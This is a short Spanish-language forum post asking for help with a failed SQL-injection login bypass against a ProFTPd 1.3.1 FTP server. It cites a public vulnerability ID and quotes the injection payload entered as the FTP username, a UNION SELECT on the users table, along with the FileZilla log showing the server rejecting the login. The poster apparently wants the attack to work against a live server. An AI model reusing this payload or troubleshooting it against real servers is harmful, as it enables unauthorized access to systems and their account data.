Ayuda con injection sql por usuario ftp

Iniciado por Chelorc, 16 Enero 2011, 06:29 AM

0 Miembros y 1 Visitante están viendo este tema.

Chelorc

Hola, el servidor ftp usa ProFTPd 1.3.1,

http://www.securityfocus.com/bid/33722/exploit

Segun lo que dice ahi tengo que poner en el cliente ftp (uso Filezilla):
usuario %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
pass: 1

y le doy conectar y:.

Respuesta:   220 ProFTPD 1.3.1 Server (ProFTPD) [xxxx]
Comando:   USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
Respuesta:   331 Password required for %')
Comando:   PASS *
Respuesta:   530 Login incorrect.
Error:   Error crítico
Error:   No se pudo conectar al servidor